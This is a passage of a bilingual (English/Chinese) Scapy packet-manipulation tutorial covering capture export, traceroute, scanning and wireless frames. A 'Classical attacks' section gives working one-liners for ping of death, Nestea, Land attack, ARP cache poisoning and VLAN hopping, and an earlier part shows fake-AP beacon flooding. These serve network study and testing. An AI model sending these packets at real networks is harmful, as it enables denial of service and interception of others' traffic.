RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S
RECV 1: Ether / IP / TCP 192.168.11.99:80 > 192.168.8.14:20 SA / Padding
fail 3: IP / TCP 192.168.8.14:20 > 192.168.11.96:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.98:80 S
??????? IP / TCP 192.168.8.14:20 > 192.168.11.97:80 S

Importing and Exporting Data

導入和導出數據

PCAP

It is often useful to save capture packets to pcap file for use at later time or with different applications

通常可以將數據包保存為pcap文件以備后用，或者是供其他的應用程序使用：

>>> wrpcap("temp.cap",pkts)

To restore previously saved pcap file:

還原之前保存的pcap文件：

>>> pkts = rdpcap("temp.cap")

>>> pkts = sniff(offline="temp.cap")

Hexdump

Scapy allows you to export recorded packets in various hex formats.

Scapy允許你以不同的十六進制格式輸出編碼的數據包。

Use?hexdump()?to display one or more packets using classic hexdump format:

使用“hexdump()”函數會以經典的hexdump格式輸出數據包：

>>> hexdump(pkt)
0000?? 00 50 56 FC CE 50 00 0C? 29 2B 53 19 08 00 45 00?? .PV..P..)+S...E.
0010?? 00 54 00 00 40 00 40 01? 5A 7C C0 A8 19 82 04 02?? .T..@.@.Z|......
0020?? 02 01 08 00 9C 90 5A 61? 00 01 E6 DA 70 49 B6 E5?? ......Za....pI..
0030?? 08 00 08 09 0A 0B 0C 0D? 0E 0F 10 11 12 13 14 15?? ................
0040?? 16 17 18 19 1A 1B 1C 1D? 1E 1F 20 21 22 23 24 25?? .......... !"#$%
0050?? 26 27 28 29 2A 2B 2C 2D? 2E 2F 30 31 32 33 34 35?? &'()*+,-./012345
0060?? 36 37????????????????????????????????????????????? 67

Hexdump above can be reimported back into Scapy using?import_hexcap():

使用“import_hexcap()”函數可以將以上的hexdump重新導入到Scapy中：

>>> pkt_hex = Ether(import_hexcap())
0000?? 00 50 56 FC CE 50 00 0C? 29 2B 53 19 08 00 45 00?? .PV..P..)+S...E.
0010?? 00 54 00 00 40 00 40 01? 5A 7C C0 A8 19 82 04 02?? .T..@.@.Z|......
0020?? 02 01 08 00 9C 90 5A 61? 00 01 E6 DA 70 49 B6 E5?? ......Za....pI..
0030?? 08 00 08 09 0A 0B 0C 0D? 0E 0F 10 11 12 13 14 15?? ................
0040?? 16 17 18 19 1A 1B 1C 1D? 1E 1F 20 21 22 23 24 25?? .......... !"#$%
0050?? 26 27 28 29 2A 2B 2C 2D? 2E 2F 30 31 32 33 34 35?? &'()*+,-./012345
0060?? 36 37????????????????????????????????????????????? 67
>>> pkt_hex
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Hex string

You can also convert entire packet into a hex string using the?str()?function:

使用“str()”函數可以將整個數據包轉換成十六進制字符串：?

>>> pkts = sniff(count = 1)
>>> pkt = pkts[0]
>>> pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>
>>> pkt_str = str(pkt)
>>> pkt_str
'\x00PV\xfc\xceP\x00\x0c)+S\x19\x08\x00E\x00\x00T\x00\x00@\x00@\x01Z|\xc0\xa8
\x19\x82\x04\x02\x02\x01\x08\x00\x9c\x90Za\x00\x01\xe6\xdapI\xb6\xe5\x08\x00
\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b
\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'

We can reimport the produced hex string by selecting the appropriate starting layer (e.g.?Ether()).

通過選擇合適的起始層（例如“Ether()”），我們可以重新導入十六進制字符串。

>>> new_pkt = Ether(pkt_str)
>>> new_pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e
\x1f !"#$%&\'()*+,-./01234567' |>>>>

Base64

Using the?export_object()?function, Scapy can export a base64 encoded Python data structure representing a packet:

使用“export_object()”函數，Scapy可以數據包轉換成base64編碼的Python數據結構：

>>> pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>
>>> export_object(pkt)
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...

The output above can be reimported back into Scapy using?import_object():

使用“import_object()”函數，可以將以上輸出重新導入到Scapy中：

>>> new_pkt = import_object()
eNplVwd4FNcRPt2dTqdTQ0JUUYwN+CgS0gkJONFEs5WxFDB+CdiI8+pupVl0d7uzRUiYtcEGG4ST
OD1OnB6nN6c4cXrvwQmk2U5xA9tgO70XMm+1rA78qdzbfTP/lDfzz7tD4WwmU1C0YiaT2Gqjaiao
bMlhCrsUSYrYoKbmcxZFXSpPiohlZikm6ltb063ZdGpNOjWQ7mhPt62hChHJWTbFvb0O/u1MD2bT
WZXXVCmi9pihUqI3FHdEQslriiVfWFTVT9VYpog6Q7fsjG0qRWtQNwsW1fRTrUg4xZxq5pUx1aS6
...
>>> new_pkt
<Ether? dst=00:50:56:fc:ce:50 src=00:0c:29:2b:53:19 type=0x800 |<IP? version=4L
ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=icmp chksum=0x5a7c
src=192.168.25.130 dst=4.2.2.1 options='' |<ICMP? type=echo-request code=0
chksum=0x9c90 id=0x5a61 seq=0x1 |<Raw? load='\xe6\xdapI\xb6\xe5\x08\x00\x08\t\n
\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
!"#$%&\'()*+,-./01234567' |>>>>

Sessions

At last Scapy is capable of saving all session variables using the?save_session()?function:

最后可以使用“save_session()”函數來保存所有的session變量：

>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']
>>> save_session("session.scapy")

Next time you start Scapy you can load the previous saved session using the?load_session()?command:

使用“load_session()”函數，在下一次你啟動Scapy的時就能加載保存的session：

>>> dir()
['__builtins__', 'conf']
>>> load_session("session.scapy")
>>> dir()
['__builtins__', 'conf', 'new_pkt', 'pkt', 'pkt_export', 'pkt_hex', 'pkt_str', 'pkts']

Making tables

Now we have a demonstration of the?make_table()?presentation function. It takes a list as parameter, and a function who returns a 3-uple. The first element is the value on the x axis from an element of the list, the second is about the y value and the third is the value that we want to see at coordinates (x,y). The result is a table. This function has 2 variants,?make_lined_table()?and?make_tex_table()?to copy/paste into your LaTeX pentest report. Those functions are available as methods of a result object :

現在我們來演示一下“make_table()”函數的功能。該函數的需要一個列表和另一個函數（返回包含三個元素的元組）作為參數。第一個元素是表格x軸上的一個值，第二個元素是y軸上的值，第三個原始則是坐標(x,y)對應的值，其返回結果為一個表格。這個函數有兩個變種，“make_lined_table()”和“make_tex_table()”來復制/粘貼到你的LaTeX報告中。這些函數都可以作為一個結果對象的方法：

Here we can see a multi-parallel traceroute (scapy already has a multi TCP traceroute function. See later):

在這里，我們可以看到一個多機并行的traceroute（Scapy的已經有一個多TCP路由跟蹤功能，待會兒可以看到）：

>>> ans,unans=sr(IP(dst="www.test.fr/30", ttl=(1,6))/TCP())
Received 49 packets, got 24 answers, remaining 0 packets
>>> ans.make_table( lambda (s,r): (s.dst, s.ttl, r.src) )
? 216.15.189.192? 216.15.189.193? 216.15.189.194? 216.15.189.195
1 192.168.8.1???? 192.168.8.1???? 192.168.8.1???? 192.168.8.1
2 81.57.239.254?? 81.57.239.254?? 81.57.239.254?? 81.57.239.254
3 213.228.4.254?? 213.228.4.254?? 213.228.4.254?? 213.228.4.254
4 213.228.3.3???? 213.228.3.3???? 213.228.3.3???? 213.228.3.3
5 193.251.254.1?? 193.251.251.69? 193.251.254.1?? 193.251.251.69
6 193.251.241.174 193.251.241.178 193.251.241.174 193.251.241.178

Here is a more complex example to identify machines from their IPID field. We can see that 172.20.80.200:22 is answered by the same IP stack than 172.20.80.201 and that 172.20.80.197:25 is not answered by the sape IP stack than other ports on the same IP.

這里有個更復雜的例子：從他們的IPID字段中識別主機。我們可以看到172.20.80.200只有22端口做出了應答，而172.20.80.201則對所有的端口都有應答，而且172.20.80.197對25端口沒有應答，但對其他端口都有應答。

>>> ans,unans=sr(IP(dst="172.20.80.192/28")/TCP(dport=[20,21,22,25,53,80]))
Received 142 packets, got 25 answers, remaining 71 packets
>>> ans.make_table(lambda (s,r): (s.dst, s.dport, r.sprintf("%IP.id%")))
?? 172.20.80.196 172.20.80.197 172.20.80.198 172.20.80.200 172.20.80.201
20 0???????????? 4203????????? 7021????????? -???????????? 11562
21 0???????????? 4204????????? 7022????????? -???????????? 11563
22 0???????????? 4205????????? 7023????????? 11561???????? 11564
25 0???????????? 0???????????? 7024????????? -???????????? 11565
53 0???????????? 4207????????? 7025????????? -???????????? 11566
80 0???????????? 4028????????? 7026????????? -???????????? 11567

It can help identify network topologies very easily when playing with TTL, displaying received TTL, etc.

你在使用TTL和顯示接收到的TTL等情況下，它可以很輕松地幫你識別網絡拓撲結構。

Routing

Now scapy has its own routing table, so that you can have your packets routed diffrently than the system:

現在Scapy有自己的路由表了，所以將你的數據包以不同于操作系統的方式路由：

>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.1???? eth0
>>> conf.route.delt(net="0.0.0.0/0",gw="192.168.8.1")
>>> conf.route.add(net="0.0.0.0/0",gw="192.168.8.254")
>>> conf.route.add(host="192.168.1.1",gw="192.168.8.1")
>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.254?? eth0
192.168.1.1???? 255.255.255.255 192.168.8.1???? eth0
>>> conf.route.resync()
>>> conf.route
Network???????? Netmask???????? Gateway???????? Iface
127.0.0.0?????? 255.0.0.0?????? 0.0.0.0???????? lo
192.168.8.0???? 255.255.255.0?? 0.0.0.0???????? eth0
0.0.0.0???????? 0.0.0.0???????? 192.168.8.1???? eth0

Gnuplot

We can easily plot some harvested values using Gnuplot. (Make sure that you have Gnuplot-py and Gnuplot installed.) For example, we can observe the IP ID patterns to know how many distinct IP stacks are used behind a load balancer:

我們可以很容易地將收集起來的數據繪制成Gnuplot。（清確保你已經安裝了Gnuplot-py和Gnuplot）例如，我們可以通過觀察圖案知道負載平衡器用了多少個不同的IP堆棧：

>>> a,b=sr(IP(dst="www.target.com")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda x:x[1].id)
<Gnuplot._Gnuplot.Gnuplot instance at 0xb7d6a74c>

TCP traceroute (2)

Scapy also has a powerful TCP traceroute function. Unlike other traceroute programs that wait for each node to reply before going to the next, scapy sends all the packets at the same time. This has the disadvantage that it can’t know when to stop (thus the maxttl parameter) but the great advantage that it took less than 3 seconds to get this multi-target traceroute result:

Scapy也有強大的TCP traceroute功能。并不像其他traceroute程序那樣，需要等待每個節點的回應才去下一個節點，scapy會在同一時間發送所有的數據包。其缺點就是不知道什么時候停止（所以就有maxttl參數），其巨大的優點就是，只用了不到3秒，就可以得到多目標的traceroute結果：

>>> traceroute(["www.yahoo.com","www.altavista.com","www.wisenut.com","www.copernic.com"],maxttl=20)
Received 80 packets, got 80 answers, remaining 0 packets
?? 193.45.10.88:80??? 216.109.118.79:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.243.5.254?????? 82.243.5.254?????? 82.243.5.254?????? 82.243.5.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
4? 212.27.50.46?????? 212.27.50.46?????? 212.27.50.46?????? 212.27.50.46
5? 212.27.50.37?????? 212.27.50.41?????? 212.27.50.37?????? 212.27.50.41
6? 212.27.50.34?????? 212.27.50.34?????? 213.228.3.234????? 193.251.251.69
7? 213.248.71.141???? 217.118.239.149??? 208.184.231.214??? 193.251.241.178
8? 213.248.65.81????? 217.118.224.44???? 64.125.31.129????? 193.251.242.98
9? 213.248.70.14????? 213.206.129.85???? 64.125.31.186????? 193.251.243.89
10 193.45.10.88??? SA 213.206.128.160??? 64.125.29.122????? 193.251.254.126
11 193.45.10.88??? SA 206.24.169.41????? 64.125.28.70?????? 216.115.97.178
12 193.45.10.88??? SA 206.24.226.99????? 64.125.28.209????? 66.218.64.146
13 193.45.10.88??? SA 206.24.227.106???? 64.125.29.45?????? 66.218.82.230
14 193.45.10.88??? SA 216.109.74.30????? 64.125.31.214????? 66.94.229.254?? SA
15 193.45.10.88??? SA 216.109.120.149??? 64.124.229.109???? 66.94.229.254?? SA
16 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
17 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
18 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
19 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
20 193.45.10.88??? SA 216.109.118.79? SA 64.241.242.243? SA 66.94.229.254?? SA
(<Traceroute: UDP:0 TCP:28 ICMP:52 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)

The last line is in fact a the result of the function : a traceroute result object and a packet list of unanswered packets. The traceroute result is a more specialised version (a subclass, in fact) of a classic result object. We can save it to consult the traceroute result again a bit later, or to deeply inspect one of the answers, for example to check padding.

最后一行實際上是該函數的返回結果：traceroute返回一個對象和無應答數據包列表。traceroute返回的是一個經典返回對象更加特殊的版本（實際上是一個子類）。我們可以將其保存以備后用，或者是進行一些例如檢查填充的更深層次的觀察：

>>> result,unans=_
>>> result.show()
?? 193.45.10.88:80??? 216.109.118.79:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
[...]
>>> result.filter(lambda x: Padding in x[1])

Like any result object, traceroute objects can be added :

和其他返回對象一樣，traceroute對象也可以相加：

>>> r2,unans=traceroute(["www.voila.com"],maxttl=20)
Received 19 packets, got 19 answers, remaining 1 packets
?? 195.101.94.25:80
1? 192.168.8.1
2? 82.251.4.254
3? 213.228.4.254
4? 212.27.50.169
5? 212.27.50.162
6? 193.252.161.97
7? 193.252.103.86
8? 193.252.103.77
9? 193.252.101.1
10 193.252.227.245
12 195.101.94.25?? SA
13 195.101.94.25?? SA
14 195.101.94.25?? SA
15 195.101.94.25?? SA
16 195.101.94.25?? SA
17 195.101.94.25?? SA
18 195.101.94.25?? SA
19 195.101.94.25?? SA
20 195.101.94.25?? SA
>>>
>>> r3=result+r2
>>> r3.show()
?? 195.101.94.25:80?? 212.23.37.13:80??? 216.109.118.72:80? 64.241.242.243:80? 66.94.229.254:80
1? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1
2? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254
3? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254
4? 212.27.50.169????? 212.27.50.169????? 212.27.50.46?????? -????????????????? 212.27.50.46
5? 212.27.50.162????? 212.27.50.162????? 212.27.50.37?????? 212.27.50.41?????? 212.27.50.37
6? 193.252.161.97???? 194.68.129.168???? 212.27.50.34?????? 213.228.3.234????? 193.251.251.69
7? 193.252.103.86???? 212.23.42.33?????? 217.118.239.185??? 208.184.231.214??? 193.251.241.178
8? 193.252.103.77???? 212.23.42.6??????? 217.118.224.44???? 64.125.31.129????? 193.251.242.98
9? 193.252.101.1????? 212.23.37.13??? SA 213.206.129.85???? 64.125.31.186????? 193.251.243.89
10 193.252.227.245??? 212.23.37.13??? SA 213.206.128.160??? 64.125.29.122????? 193.251.254.126
11 -????????????????? 212.23.37.13??? SA 206.24.169.41????? 64.125.28.70?????? 216.115.97.178
12 195.101.94.25?? SA 212.23.37.13??? SA 206.24.226.100???? 64.125.28.209????? 216.115.101.46
13 195.101.94.25?? SA 212.23.37.13??? SA 206.24.238.166???? 64.125.29.45?????? 66.218.82.234
14 195.101.94.25?? SA 212.23.37.13??? SA 216.109.74.30????? 64.125.31.214????? 66.94.229.254?? SA
15 195.101.94.25?? SA 212.23.37.13??? SA 216.109.120.151??? 64.124.229.109???? 66.94.229.254?? SA
16 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
17 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
18 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
19 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA
20 195.101.94.25?? SA 212.23.37.13??? SA 216.109.118.72? SA 64.241.242.243? SA 66.94.229.254?? SA

Traceroute result object also have a very neat feature: they can make a directed graph from all the routes they got, and cluster them by AS. You will need graphviz. By default, ImageMagick is used to display the graph.

Traceroute返回對象有一個非常實用的功能：他們會將得到的所有路線做成一個有向圖，并用AS組織路線。你需要安裝graphviz。在默認情況下會使用ImageMagick顯示圖形。

>>> res,unans = traceroute(["www.microsoft.com","www.cisco.com","www.yahoo.com","www.wanadoo.fr","www.pacsec.com"],dport=[80,443],maxttl=20,retry=-2)
Received 190 packets, got 190 answers, remaining 10 packets
?? 193.252.122.103:443 193.252.122.103:80 198.133.219.25:443 198.133.219.25:80? 207.46...
1? 192.168.8.1???????? 192.168.8.1??????? 192.168.8.1??????? 192.168.8.1??????? 192.16...
2? 82.251.4.254??????? 82.251.4.254?????? 82.251.4.254?????? 82.251.4.254?????? 82.251...
3? 213.228.4.254?????? 213.228.4.254????? 213.228.4.254????? 213.228.4.254????? 213.22...
[...]
>>> res.graph()????????????????????????? # piped to ImageMagick's display program. Image below.
>>> res.graph(type="ps",target="| lp")?? # piped to postscript printer
>>> res.graph(target="> /tmp/graph.svg") # saved to file

If you have VPython installed, you also can have a 3D representation of the traceroute. With the right button, you can rotate the scene, with the middle button, you can zoom, with the left button, you can move the scene. If you click on a ball, it’s IP will appear/disappear. If you Ctrl-click on a ball, ports 21, 22, 23, 25, 80 and 443 will be scanned and the result displayed:

如果你安裝了VPython，你就可以用3D來表示traceroute。右邊的按鈕是旋轉圖案，中間的按鈕是放大縮小，左邊的按鈕是移動圖案。如果你單擊一個球，它的IP地址就會出現/消失。如果你按住Ctrl單擊一個球，就會掃描21,22,23,25,80和443端口，并顯示結果：

>>> res.trace3D()

Wireless frame injection

Provided that your wireless card and driver are correctly configured for frame injection

frame injection的前提是你的無線網卡和驅動得正確配置好。

$ ifconfig wlan0 up
$ iwpriv wlan0 hostapd 1
$ ifconfig wlan0ap up

you can have a kind of FakeAP:

你可以造一個FakeAP：

>>> sendp(Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2=RandMAC(),addr3=RandMAC())/
????????? Dot11Beacon(cap="ESS")/
????????? Dot11Elt(ID="SSID",info=RandString(RandNum(1,50)))/
????????? Dot11Elt(ID="Rates",info='\x82\x84\x0b\x16')/
????????? Dot11Elt(ID="DSset",info="\x03")/
????????? Dot11Elt(ID="TIM",info="\x00\x01\x00\x00"),iface="wlan0ap",loop=1)

Simple one-liners

ACK Scan

Using Scapy’s powerful packet crafting facilities we can quick replicate classic TCP Scans. For example, the following string will be sent to simulate an ACK Scan:

>>> ans,unans = sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))

We can find unfiltered ports in answered packets:

>>> for s,r in ans:
... ????if s[TCP].dport == r[TCP].sport:
... ???????print str(s[TCP].dport) + " is unfiltered"

Similarly, filtered ports can be found with unanswered packets:

>>> for s in unans:
... ????print str(s[TCP].dport) + " is filtered"

Xmas Scan

Xmas Scan can be launced using the following command:

>>> ans,unans = sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU") )

Checking RST responses will reveal closed ports on the target.

IP Scan

A lower level IP Scan can be used to enumerate supported protocols:

>>> ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)

ARP Ping

The fastest way to discover hosts on a local ethernet network is to use the ARP Ping method:

>>> ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)

Answers can be reviewed with the following command:

>>> ans.summary(lambda (s,r): r.sprintf("%Ether.src% %ARP.psrc%") )

Scapy also includes a built-in arping() function which performs similar to the above two commands:

>>> arping("192.168.1.*")

ICMP Ping

Classical ICMP Ping can be emulated using the following command:

>>> ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())

Information on live hosts can be collected with the following request:

>>> ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive") )

TCP Ping

In cases where ICMP echo requests are blocked, we can still use various TCP Pings such as TCP SYN Ping below:

>>> ans,unans=sr( IP(dst="192.168.1.*")/TCP(dport=80,flags="S") )

Any response to our probes will indicate a live host. We can collect results with the following command:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

UDP Ping

If all else fails there is always UDP Ping which will produce ICMP Port unreachable errors from live hosts. Here you can pick any port which is most likely to be closed, such as port 0:

>>> ans,unans=sr( IP(dst="192.168.*.1-10")/UDP(dport=0) )

Once again, results can be collected with this command:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src% is alive") )

Classical attacks

Malformed packets:

>>> send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())

Ping of death (Muuahahah):

>>> send( fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)) )

Nestea attack:

>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
>>> send(IP(dst=target, id=42, frag=48)/("X"*116))
>>> send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))

Land attack (designed for Microsoft Windows):

>>> send(IP(src=target,dst=target)/TCP(sport=135,dport=135))

ARP cache poisoning

This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack.

Classic ARP cache poisoning:

>>> send( Ether(dst=clientMAC)/ARP(op="who-has", psrc=gateway, pdst=client),
????? inter=RandNum(10,40), loop=1 )

ARP cache poisoning with double 802.1q encapsulation:

>>> send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2)
????? /ARP(op="who-has", psrc=gateway, pdst=client),
????? inter=RandNum(10,40), loop=1 )

TCP Port Scanning

Send a TCP SYN on each port. Wait for a SYN-ACK or a RST or an ICMP error:

>>> res,unans = sr( IP(dst="target")
??????????????? /TCP(flags="S", dport=(1,1024)) )

Possible result visualization: open ports

>>> res.nsummary( lfilter=lambda (s,r): (r.haslayer(TCP) and (r.getlayer(TCP).flags & 2)) )

IKE Scanning

We try to identify VPN concentrators by sending ISAKMP Security Association proposals and receiving the answers:

>>> res,unans = sr( IP(dst="192.168.1.*")/UDP()
??????????????? /ISAKMP(init_cookie=RandString(8), exch_type="identity prot.")
??????????????? /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
????????????? )

Visualizing the results in a list:

>>> res.nsummary(prn=lambda (s,r): r.src, lfilter=lambda (s,r): r.haslayer(ISAKMP) )

Advanced traceroute

TCP SYN traceroute

>>> ans,unans=sr(IP(dst="4.2.2.1",ttl=(1,10))/TCP(dport=53,flags="S"))

Results would be:

>>> ans.summary( lambda(s,r) : r.sprintf("%IP.src%\t{ICMP:%ICMP.type%}\t{TCP:%TCP.flags%}"))
192.168.1.1???? time-exceeded
68.86.90.162??? time-exceeded
4.79.43.134???? time-exceeded
4.79.43.133???? time-exceeded
4.68.18.126???? time-exceeded
4.68.123.38???? time-exceeded
4.2.2.1???????? SA

UDP traceroute

Tracerouting an UDP application like we do with TCP is not reliable, because there’s no handshake. We need to give an applicative payload (DNS, ISAKMP, NTP, etc.) to deserve an answer:

>>> res,unans = sr(IP(dst="target", ttl=(1,20))
????????????? /UDP()/DNS(qd=DNSQR(qname="test.com"))

We can visualize the results as a list of routers:

>>> res.make_table(lambda (s,r): (s.dst, s.ttl, r.src))

DNS traceroute

We can perform a DNS traceroute by specifying a complete packet in?l4?parameter of?traceroute()?function:

>>> ans,unans=traceroute("4.2.2.1",l4=UDP(sport=RandShort())/DNS(qd=DNSQR(qname="thesprawl.org")))
Begin emission:
..*....******...******.***...****Finished to send 30 packets.
*****...***...............................
Received 75 packets, got 28 answers, remaining 2 packets
?? 4.2.2.1:udp53
1? 192.168.1.1???? 11
4? 68.86.90.162??? 11
5? 4.79.43.134???? 11
6? 4.79.43.133???? 11
7? 4.68.18.62????? 11
8? 4.68.123.6????? 11
9? 4.2.2.1
...

Etherleaking

>>> sr1(IP(dst="172.16.1.232")/ICMP())
<IP src=172.16.1.232 proto=1 [...] |<ICMP code=0 type=0 [...]|
<Padding load=’0O\x02\x01\x00\x04\x06public\xa2B\x02\x02\x1e’ |>>>

ICMP leaking

This was a Linux 2.0 bug:

>>> sr1(IP(dst="172.16.1.1", options="\x02")/ICMP())
<IP src=172.16.1.1 [...] |<ICMP code=0 type=12 [...] |
<IPerror src=172.16.1.24 options=’\x02\x00\x00\x00’ [...] |
<ICMPerror code=0 type=8 id=0x0 seq=0x0 chksum=0xf7ff |
<Padding load=’\x00[...]\x00\x1d.\x00V\x1f\xaf\xd9\xd4;\xca’ |>>>>>

VLAN hopping

In very specific conditions, a double 802.1q encapsulation will make a packet jump to another VLAN:

>>> sendp(Ether()/Dot1Q(vlan=2)/Dot1Q(vlan=7)/IP(dst=target)/ICMP())

Wireless sniffing

The following command will display information similar to most wireless sniffers:

>>> sniff(iface="ath0",prn=lambda x:x.sprintf("{Dot11Beacon:%Dot11.addr3%\t%Dot11Beacon.info%\t%PrismHeader.channel%\tDot11Beacon.cap%}"))

The above command will produce output similar to the one below:

00:00:00:01:02:03 netgear????? 6L?? ESS+privacy+PBCC
11:22:33:44:55:66 wireless_100 6L?? short-slot+ESS+privacy
44:55:66:00:11:22 linksys????? 6L?? short-slot+ESS+privacy
12:34:56:78:90:12 NETGEAR????? 6L?? short-slot+ESS+privacy+short-preamble

Recipes

Simplistic ARP Monitor

This program uses the?sniff()?callback (paramter prn). The store parameter is set to 0 so that the?sniff()?function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic.

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
??? if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
??????? return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)

Identifying rogue DHCP servers on your LAN

Problem

